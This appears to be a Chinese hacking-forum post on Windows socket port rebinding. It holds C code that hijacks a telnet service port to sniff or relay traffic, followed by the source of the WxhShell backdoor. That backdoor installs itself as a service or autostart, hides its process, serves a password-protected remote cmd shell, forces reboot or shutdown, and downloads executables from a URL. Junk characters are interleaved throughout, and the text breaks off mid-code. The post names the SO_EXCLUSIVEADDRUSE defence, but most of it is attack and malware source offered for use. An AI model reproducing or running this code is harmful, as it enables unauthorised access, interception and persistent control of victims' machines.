在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
x_PO; s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
St=nf\P&F ;%|im? saddr.sin_family = AF_INET;
;D5>iek5 +qxPUfN saddr.sin_addr.s_addr = htonl(INADDR_ANY);
T.q2tC[bR MsB>3 bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
Nk~}aj Wj{lb_Rj 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
B|(g? ! VwU=5 这意味着什么?意味着可以进行如下的攻击:
Xo^8o0xi AXfU$~ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
,OZ h\RX/C!+ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
p_r` " $QX$r N 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
@xG&K{j ?7{U=1gb$ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
5Z=4%P*I *%-<Ldv 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
.soCU8i3 }A9#3Y|F 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Xj?Wvt QxT'\7f 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
~% hdy@ *miG< #include
#ydold{F #include
hW7u#PY #include
S :HOlJze #include
:]"5UY?oF DWORD WINAPI ClientThread(LPVOID lpParam);
{1GJ,['qL int main()
;qx#]Z0 < {
8&QST!JGSX WORD wVersionRequested;
vz^ ] g DWORD ret;
%wD#[<BGn> WSADATA wsaData;
yCX5
5: BOOL val;
v|?@k^Ms SOCKADDR_IN saddr;
'Kelq$dn# SOCKADDR_IN scaddr;
HKN|pO3v int err;
%V_ XY+o SOCKET s;
jKS j ); SOCKET sc;
, c.^"5 int caddsize;
Bz+oMN#XJ HANDLE mt;
+sNS DWORD tid;
QE<Z@/V*a wVersionRequested = MAKEWORD( 2, 2 );
OqGp|` err = WSAStartup( wVersionRequested, &wsaData );
;W|kc</R* if ( err != 0 ) {
UhB+c printf("error!WSAStartup failed!\n");
?7\V)$00(& return -1;
UG1<Xfu| }
xBHf~:! saddr.sin_family = AF_INET;
PZ[-a-p40 xL* psj //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
b[%@3 }E ZlV saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
e8,_"_1:F saddr.sin_port = htons(23);
"tEp8m if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
1N5
E {
'2,~'Zk printf("error!socket failed!\n");
opX07~1 return -1;
VO#rJ1J }
AXw qN:P} val = TRUE;
7:`XE&Z //SO_REUSEADDR选项就是可以实现端口重绑定的
;_sJ>.=\ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
;H$Cq'
I {
BD6!, printf("error!setsockopt failed!\n");
H`[FC|RYyE return -1;
|$.?(FZYu }
z:'m50' //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
D@=]mh6vl //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
~tUZQ5" //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
#1YMpL j/v>,MM if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
P0N/bp2Uy {
/Qgb t ret=GetLastError();
Z;+,hR (( printf("error!bind failed!\n");
tpI/Ibq return -1;
tqZ91QpW }
z/Lb1ND8 listen(s,2);
* :"*' while(1)
hV3]1E21" {
]4rmQAS7" caddsize = sizeof(scaddr);
Q`CuZkP( //接受连接请求
3G// _f sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
mR}8} K]L
if(sc!=INVALID_SOCKET)
)L<.;`g4x {
@6UY4vq9 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
%Z;RY5 if(mt==NULL)
T!
}G51 {
L5hF-Ek!
3 printf("Thread Creat Failed!\n");
z$<=8ox8e break;
A;!5c;ftj, }
[bLKjD }
vbJ<|#|r- CloseHandle(mt);
6/!:vsa"3 }
288mP]a(v_ closesocket(s);
mF
gqM: WSACleanup();
dJ"44Wu+J return 0;
,7nu;fOT[ }
(nqhX<T> DWORD WINAPI ClientThread(LPVOID lpParam)
jMT[+f {
r$<!?Z SOCKET ss = (SOCKET)lpParam;
-J]?M SOCKET sc;
W83d$4\d unsigned char buf[4096];
3qV^RW& SOCKADDR_IN saddr;
]H`wE_2tu long num;
`(W"wC DWORD val;
F"Dr(V DWORD ret;
RXRbW %b //如果是隐藏端口应用的话,可以在此处加一些判断
9FEhl~& //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
Zf M]A) saddr.sin_family = AF_INET;
e.\>GwM saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
m?-)SA saddr.sin_port = htons(23);
w+m7jn!$ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
5N9Cd[4 {
`JIp$ printf("error!socket failed!\n");
h(WlJCln return -1;
yf{\^^ i( }
a-*sm~u val = 100;
su0K#*P&I
if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
\:'GAByy {
;v8TT}R ret = GetLastError();
Y]
1U108 return -1;
CW`^fI9H }
Zl_sbIY if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
N\|B06X {
TjpyU:R,&| ret = GetLastError();
IO7z}![V; return -1;
U" @5R[=F- }
jS,Pu%fR if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
c[J 2;"SP {
fwppqIM printf("error!socket connect failed!\n");
CW;zviH5 closesocket(sc);
CfOyHhhKX closesocket(ss);
&4E|c[HN return -1;
<v ub
Q4 }
c |%5SA while(1)
2tU3p<[ {
S5|7D[* //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
:F d1k
Jm //如果是嗅探内容的话,可以再此处进行内容分析和记录
4#t'1tzu# //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
&"u(0q num = recv(ss,buf,4096,0);
7Kym|Zg if(num>0)
7$7|~k send(sc,buf,num,0);
!19T=p/:$ else if(num==0)
U["<f`z4\ break;
3 EAr=E] num = recv(sc,buf,4096,0);
JP!e'oWxi if(num>0)
ln<[CgV8 send(ss,buf,num,0);
/5%'q~ else if(num==0)
2k!uk6 break;
&[`24Db }
}[%F closesocket(ss);
%2RXrH2&H closesocket(sc);
QeY+imM return 0 ;
0ytAn+/"x }
x~'_;>]r_ [\F:NLjiUy 4][VK/v+ ==========================================================
yS)k"XNb B^19![v3T 下边附上一个代码,,WXhSHELL
Zn1((J7 H#F"n"~$ ==========================================================
W}F~vx. f$</BND #include "stdafx.h"
t<`wK8) E.yFCaL #include <stdio.h>
+;H=_~b #include <string.h>
+%CXc% #include <windows.h>
*3^7'^j< #include <winsock2.h>
E;yr46 #include <winsvc.h>
2w8YtM3+"z #include <urlmon.h>
j % MY6" =}ZY`O*/ #pragma comment (lib, "Ws2_32.lib")
Z=hn}QY.( #pragma comment (lib, "urlmon.lib")
!'\(OFv9Im r:xg#&"* #define MAX_USER 100 // 最大客户端连接数
\>T1&JT #define BUF_SOCK 200 // sock buffer
]Y
&
2& #define KEY_BUFF 255 // 输入 buffer
z@~ZMk zt((TD2 #define REBOOT 0 // 重启
9[t-W:3c7 #define SHUTDOWN 1 // 关机
dyqk[$(
zCq6k7u #define DEF_PORT 5000 // 监听端口
WKr4S<B8mr (*26aMp #define REG_LEN 16 // 注册表键长度
Yy!G?>hC #define SVC_LEN 80 // NT服务名长度
%jUZc:06 E.'6p \ // 从dll定义API
Gj#BG49g2 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
)p!")
:'fv typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
"6e3Mj\ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
1>_$O|dE typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
-8:O?]+Q/ tIA)LF // wxhshell配置信息
lYS4Q`z$ struct WSCFG {
`,
|l int ws_port; // 监听端口
823y; char ws_passstr[REG_LEN]; // 口令
|/-# N int ws_autoins; // 安装标记, 1=yes 0=no
AED
9vDE char ws_regname[REG_LEN]; // 注册表键名
CE183l\ char ws_svcname[REG_LEN]; // 服务名
yl<=_Q char ws_svcdisp[SVC_LEN]; // 服务显示名
,0L< wa char ws_svcdesc[SVC_LEN]; // 服务描述信息
11$v~<M char ws_passmsg[SVC_LEN]; // 密码输入提示信息
84(jg P int ws_downexe; // 下载执行标记, 1=yes 0=no
WUDXx % char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
PC=s:`Y}R char ws_filenam[SVC_LEN]; // 下载后保存的文件名
4pDZ +}p Kd#64NSi$A };
TR?jT
U B_r:da CS: // default Wxhshell configuration
v&^N +>p struct WSCFG wscfg={DEF_PORT,
RplcM%YJn "xuhuanlingzhe",
8Z@O%\1x6 1,
I
tn?''~; "Wxhshell",
]~WIGl"g "Wxhshell",
ieyqp~+|4$ "WxhShell Service",
^J?2[( "Wrsky Windows CmdShell Service",
IxP$lx "Please Input Your Password: ",
'u[cT$ 1,
"Q23s" "
http://www.wrsky.com/wxhshell.exe",
~O~we "Wxhshell.exe"
@S012} xH };
[o'}R`5) E;a9RV| // 消息定义模块
WsM/-P1Y char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
bF@iO316H char *msg_ws_prompt="\n\r? for help\n\r#>";
wRWKem= char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
|?fc]dl1] char *msg_ws_ext="\n\rExit.";
KueI*\ p char *msg_ws_end="\n\rQuit.";
BW)t2kR& char *msg_ws_boot="\n\rReboot...";
zHj_q%A char *msg_ws_poff="\n\rShutdown...";
Z}O0DfT; char *msg_ws_down="\n\rSave to ";
`O=LQ m` M+Y^ A7 char *msg_ws_err="\n\rErr!";
atFu
KYI char *msg_ws_ok="\n\rOK!";
FLlL0Gu ^q~.5c| char ExeFile[MAX_PATH];
j%0g*YI int nUser = 0;
Bq:: 5,v HANDLE handles[MAX_USER];
7"_gX int OsIsNt;
I'cM\^/h ,wra f#UdP SERVICE_STATUS serviceStatus;
HQ|{!P\/?U SERVICE_STATUS_HANDLE hServiceStatusHandle;
LZ9IE>sj 6~+?DIc // 函数声明
an?g'8! r: int Install(void);
7w"YCRKh int Uninstall(void);
wa9{Q}wSa int DownloadFile(char *sURL, SOCKET wsh);
;/nR[sibN int Boot(int flag);
Boa?Ghg void HideProc(void);
pQxi0/d p int GetOsVer(void);
*r3u=oWb int Wxhshell(SOCKET wsl);
-aMwC5iR@ void TalkWithClient(void *cs);
[C~{g# int CmdShell(SOCKET sock);
jr5x!@rb int StartFromService(void);
_bq2h%G=8 int StartWxhshell(LPSTR lpCmdLine);
@*LESN>T@t b+}*@xhl VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
BUKh5L VOID WINAPI NTServiceHandler( DWORD fdwControl );
!NOvKC! Y|i!\Ae // 数据结构和表定义
[+y/qx79 SERVICE_TABLE_ENTRY DispatchTable[] =
cXokq {
-1u N
Z{0 {wscfg.ws_svcname, NTServiceMain},
Z.0^:rVp~ {NULL, NULL}
>G+?X+9 };
^coJ"[D iNs // 自我安装
hAZ"M:f int Install(void)
7"
cgj# {
RT2a:3f char svExeFile[MAX_PATH];
dQFx]p3L HKEY key;
@{n2R3)k
B strcpy(svExeFile,ExeFile);
mE]W#?
\oGZM0j // 如果是win9x系统,修改注册表设为自启动
D9&FCCiUE if(!OsIsNt) {
aI8K*D )@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
`Uw^,r RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
P3YG:* RegCloseKey(key);
9X{aU)"omQ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
0?j+d8* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
STB=#z RegCloseKey(key);
P8s'e_t return 0;
h^0!I TL ^ }
{4{ACp }
SIRZ_lt$r }
R\=y/tw0H else {
/m*vY` akQtre`5sd // 如果是NT以上系统,安装为系统服务
Hw/1~O$T SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
oZ~M`yOz. if (schSCManager!=0)
`}u~nu< {
-OuMC& SC_HANDLE schService = CreateService
[XQoag;! (
#PmF@
CHR schSCManager,
2{h9a0b wscfg.ws_svcname,
%P9Zx!i> wscfg.ws_svcdisp,
@ B3@M SERVICE_ALL_ACCESS,
.Isg1qrC SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
an<tupi[E SERVICE_AUTO_START,
;comL29l2` SERVICE_ERROR_NORMAL,
W~QZ(:IK svExeFile,
+kl@`&ga NULL,
TO)wjF_ NULL,
M|`%4vk> NULL,
^IM;D)X&: NULL,
I#f<YbzD NULL
\Jv6Igu );
PHD$E s if (schService!=0)
4oOe {
58MBG&a% CloseServiceHandle(schService);
YKUs>tQ! CloseServiceHandle(schSCManager);
c66Iy" strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
:/Nz' n strcat(svExeFile,wscfg.ws_svcname);
ou-5iH? if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
D1lHq/ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
bd<zn*HZ* RegCloseKey(key);
Oy[t}*Ik return 0;
J2H8r 'T }
Md_\9G .e }
G(4:yK0 CloseServiceHandle(schSCManager);
Vo(d)"m? }
4F8`5)RM }
.)u,sYZA| \aT._'=M+ return 1;
<H E'5b }
/{1 xpR mrd(\&EhA // 自我卸载
lTdYPqMi int Uninstall(void)
Tj*zlb4 {
<<&:BK HKEY key;
3QS"n.d ;Fuxj!gF if(!OsIsNt) {
"v~w#\pz7 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
E<&VK*{zcO RegDeleteValue(key,wscfg.ws_regname);
ZT_ EpT=1 RegCloseKey(key);
@eT!v{o if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
x%x:gkq RegDeleteValue(key,wscfg.ws_regname);
hlkf|H RegCloseKey(key);
E9226 return 0;
.Fh5:WN }
35jP</ }
sOLo[5y' }
}(TZ}* d else {
F K={% S)$ES6]9/ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
v=SC* if (schSCManager!=0)
iQin|$F_O {
wTIOCj SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
/2?GRwU~P if (schService!=0)
w},k~5U^s {
0V srAV0 if(DeleteService(schService)!=0) {
D[]vJ CloseServiceHandle(schService);
oOe5IczS( CloseServiceHandle(schSCManager);
{My/+{eS!? return 0;
O2Rv^la }
p#J}@a CloseServiceHandle(schService);
0-4WLMx }
g4j?E{M? CloseServiceHandle(schSCManager);
-@L*i|A }
N9:xtrJ]_J }
jt-ayLq )BS./zD*[< return 1;
"2 qp-'^[c }
-jFt4Q7}8 7=mU["raz` // 从指定url下载文件
|3\
mH~Bw int DownloadFile(char *sURL, SOCKET wsh)
0xC{Lf& {
MWsBZJRr HRESULT hr;
7ktf =Y char seps[]= "/";
+~02j1Jx char *token;
c<-_Vh.:5 char *file;
0ltq~K char myURL[MAX_PATH];
?OvtR:h C char myFILE[MAX_PATH];
B7T(9Tj+Fh A'6>"=ziP strcpy(myURL,sURL);
9)T;.O token=strtok(myURL,seps);
w]F (o while(token!=NULL)
$xlI"-( {
OZLU>LU file=token;
MBDu0
[c token=strtok(NULL,seps);
SukRJvi }
RNp3lXf O #th^\pV GetCurrentDirectory(MAX_PATH,myFILE);
$0sUh]7y strcat(myFILE, "\\");
F
~
/{1Q* strcat(myFILE, file);
e [3sWv send(wsh,myFILE,strlen(myFILE),0);
+:wOzTUN send(wsh,"...",3,0);
=f{V<i~q hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
f(7/ if(hr==S_OK)
!}Cd_tj6 return 0;
oC.:mI else
&d 9tR\} return 1;
p^7ZFUP GZ
UDI# }
+;pdG[N x(5>f9b b // 系统电源模块
UFm E`|le int Boot(int flag)
~%k<N/B {
VGA?B@ HANDLE hToken;
q9yY% TOKEN_PRIVILEGES tkp;
^cDHyB=v4d 7oh6G if(OsIsNt) {
]6W#P7 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
B.;/N220P LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
-`FTWH tkp.PrivilegeCount = 1;
KE&Y~y8O\ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
\ d+&&ns AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
:_i1)4[! if(flag==REBOOT) {
j!qO[CJJ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
^'*9,.ltd return 0;
S;a{wYF6v }
\O^b|0zc else {
D%Hz'G0| if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
u==bLl=$ return 0;
QrHI}r }
6#K1LY5 } }
{SbA(a?B else {
y 7|x<Z if(flag==REBOOT) {
h$G&4_O if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
9L]x9lI; return 0;
[>oq~[e)? }
89U<9j else {
P+wV.pF| if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Wb68" )$ return 0;
}.$oZo9J }
}rxFX }
o2@8w[r O (<Wn- return 1;
8AOJ'~$ }
8sx\b P'KaW u9z // win9x进程隐藏模块
KaZ*HPe( void HideProc(void)
; mu9;ixZ {
cx&jnF#$ Gyw@+(l HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
`QC{}Oo^ if ( hKernel != NULL )
n1a;vE{! {
6K5KZZG
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
1%G<gbHpI ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
/KO!s,Nk FreeLibrary(hKernel);
Y]0oF_ :7 }
\RnGKQ"4 Ts:3_4-k return;
"O<JVC{m }
7,d^?.~S cH.T6u_% // 获取操作系统版本
|g}!
F- int GetOsVer(void)
r3mB"("Z' {
tV9BVsN OSVERSIONINFO winfo;
$Ud-aRlD winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
#9,!IW]l GetVersionEx(&winfo);
4^1{UlCop if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
gz;( ).{ return 1;
yYkk0 3 else
OziG|o@I return 0;
d7g/s'ZHt6 }
lNs 'jaD l[.*X // 客户端句柄模块
U{q6_z|c int Wxhshell(SOCKET wsl)
:CV!:sUm {
T?I&n[Y| SOCKET wsh;
36s[hg struct sockaddr_in client;
.Kv>*__-Q DWORD myID;
c (O+s/
{:$0j|zL1 while(nUser<MAX_USER)
..X efNbl {
/tikLJ int nSize=sizeof(client);
|xG|HJm, wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
a.v$+}+.[, if(wsh==INVALID_SOCKET) return 1;
GrGgR7eC#P X4>c(1e handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
h
`d(?1 if(handles[nUser]==0)
rteViq+|. closesocket(wsh);
N{IY\/;\ else
,--/oP nUser++;
&THM]3: }
0|nvi=4~e| WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
/ZlW9| 8)&H=#E return 0;
IJ3[6>/M0 }
w1F7gd :W<aga;J // 关闭 socket
$g$~TuA
w void CloseIt(SOCKET wsh)
[CGvM{ {
j01.`G7Q closesocket(wsh);
,-ZAI b* nUser--;
Xw!eB?A ExitThread(0);
8RbtI4 }
g><u(3 JAj<*TB.% // 客户端请求句柄
aSi:(w void TalkWithClient(void *cs)
xojy[c# {
w:I^iI. ^QTl (L SOCKET wsh=(SOCKET)cs;
ICo_O]
Ke char pwd[SVC_LEN];
={ c=8G8T char cmd[KEY_BUFF];
k2sb#]-/} char chr[1];
O?L_9L* int i,j;
$74ZC
M +?zyFb]Km while (nUser < MAX_USER) {
EJO:3aKa L,of@> if(wscfg.ws_passstr) {
P1]ucu_y, if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
-q[T0^eS //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Ne,7[k //ZeroMemory(pwd,KEY_BUFF);
RX4O1Z0 i=0;
)/PvaL while(i<SVC_LEN) {
^ ]SS\=7 D "j
=|4S# // 设置超时
%}j.6'`{
fd_set FdRead;
di]z struct timeval TimeOut;
zNuiBLxDs FD_ZERO(&FdRead);
cRsLt/Wr FD_SET(wsh,&FdRead);
%gSqc
}v* TimeOut.tv_sec=8;
64z9Yr@ TimeOut.tv_usec=0;
L.$9ernVY int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
M.zS + if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
;'!U/N;- 2x{@19w)C if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
17tph; pwd
=chr[0]; .qi$X!0
if(chr[0]==0xd || chr[0]==0xa) { aCcBmc
pwd=0; S&}7jRH1
break; EShc1KPqc
} 1el?f>
i++; Q4{%)}2$
} daE/v.a4|
aDb@u3X@
// 如果是非法用户,关闭 socket 9G` 2t~%
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); h']RP
} YN_#x
RQWVjF#
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \v44 Vmfz
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "B*a|
'n!
,w,>pO'[
while(1) { GBzC<e#
s+(%N8B
ZeroMemory(cmd,KEY_BUFF); 7f8%WD)
BWFl8
!_X
// 自动支持客户端 telnet标准 /p~"?9b[ i
j=0; \)eHf
7H
while(j<KEY_BUFF) { ~0w7E0DE[
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 6%H8Qv
cmd[j]=chr[0]; ,w; ~R4x
if(chr[0]==0xa || chr[0]==0xd) { VQU [5C
cmd[j]=0; C6,GgDH`
break; LO[1xE9
} eW"i'\`0
j++; {/uBZ(
} W:O<9ZbQ_
9vWKyzMi
// 下载文件 F7^8Ej9*a
if(strstr(cmd,"http://")) { e
&^BPzg
send(wsh,msg_ws_down,strlen(msg_ws_down),0); t1b$,jHmKl
if(DownloadFile(cmd,wsh)) g_G?gO
send(wsh,msg_ws_err,strlen(msg_ws_err),0); L!V`Sb
else 3H%R`ha
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j WLZ!a3+
} Bwjd/id q
else { qF`;xa%,}
,pa,:k?
switch(cmd[0]) { 0 lXV+lj
%eT4Q~}5"
// 帮助 F')T:;,s
case '?': { /D`M?nD7
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sSd
break; )MZ]c)JD^
} +P/"bwv0
// 安装 Wa
#,>
case 'i': { Hj
|~*kG
if(Install())
V"%2T z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); I+D`\OSL
else KSIH1E
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Kv:U QdnU[
break; #i-!:6sLA
} m?'5*\(ST
// 卸载 J_}&Btb)e
case 'r': { Xx[
LK
if(Uninstall()) p|,K2^?Y
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [6V'UI6
else ><"5
VwR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K~<pD:s
break; =x>z|1
} 1)?^N`xF
// 显示 wxhshell 所在路径 V[wEn9
case 'p': { H1| -f]!
char svExeFile[MAX_PATH]; :{h,0w'd
strcpy(svExeFile,"\n\r"); $ ;>,
strcat(svExeFile,ExeFile); jec03wH_0
send(wsh,svExeFile,strlen(svExeFile),0); ]/p0j$Tq$
break; M$1+,[^f
} }U7>_b2
// 重启 {*~aVw {k
case 'b': { ItDe_|!L
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 583ej2HPg
if(Boot(REBOOT)) IE$x2==)
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6T< ~mn
else { @pQv}%
closesocket(wsh); HQ7-,!XO
ExitThread(0); vF;6Y(h>
} >4ebvM
0|
break; 75K~ebRr
} Vm'ReH
// 关机
~ i1w,;(
case 'd': { W0tBF&E"
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %83PbH
if(Boot(SHUTDOWN)) $^I uE0.
send(wsh,msg_ws_err,strlen(msg_ws_err),0); H|0B*i@81
else { <E$P
closesocket(wsh); +6*oO|
ExitThread(0); lk \|EG
} 6ecr]=Cv
break; j_&/^-;e
} TcZ
Ci^1F
// 获取shell 1KruGq~
case 's': { ?XsL4HIx
CmdShell(wsh); ^wb -s
closesocket(wsh); si=/=h
ExitThread(0); \4K8*`$
break; b6bmvHD
} `>?\MWyu
// 退出
.}ohnnJB0
case 'x': { fTY @{t
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); KK(x)(
CloseIt(wsh); ;&WN%L*
break; }tft@,dIC
} q]<Xx{_
// 离开 ~Az20RrK)
case 'q': { 6]T02;b>/,
send(wsh,msg_ws_end,strlen(msg_ws_end),0); rNU,(htS
closesocket(wsh); 20^F -,z
WSACleanup(); -ud~'<k
exit(1); o|]xj'
break; j2qDRI
} 9`dQ7z.8t
} =)Ew6}
W6
} .{7?Y;_(
oVoTnGNM6
// 提示信息 TT.EQv5
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); zY[6Ia{L
} (oq(-Wv
} @WhcY*R2
akm) X0!-}
return; xVfJ]Y
} QlJCdCSy
W} Nd3
// shell模块句柄 2r?g|<
:
int CmdShell(SOCKET sock) q5lRc=.b[
{ Cd7jG
STARTUPINFO si; wIxLr{
ZeroMemory(&si,sizeof(si)); K_]LK
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rM [Ps=5
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~rpYZLH/:0
PROCESS_INFORMATION ProcessInfo; XZd !c Ff
char cmdline[]="cmd"; F!pUfF,&
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); F__DPEAc_
return 0; WHbvb3'
} ?aSL'GI
Lrq+0dI 65
// 自身启动模式 VxjHB?)
int StartFromService(void) &9o @x]) @
{ AKa{C
f
typedef struct "kP.Kx!
{ L2{to f
DWORD ExitStatus; GgA =EdJn
DWORD PebBaseAddress; M*t@Q|$:
DWORD AffinityMask; E'XFn'
DWORD BasePriority; e{=7,DRH<
ULONG UniqueProcessId; &JfyXM[]
ULONG InheritedFromUniqueProcessId; mWmDH74
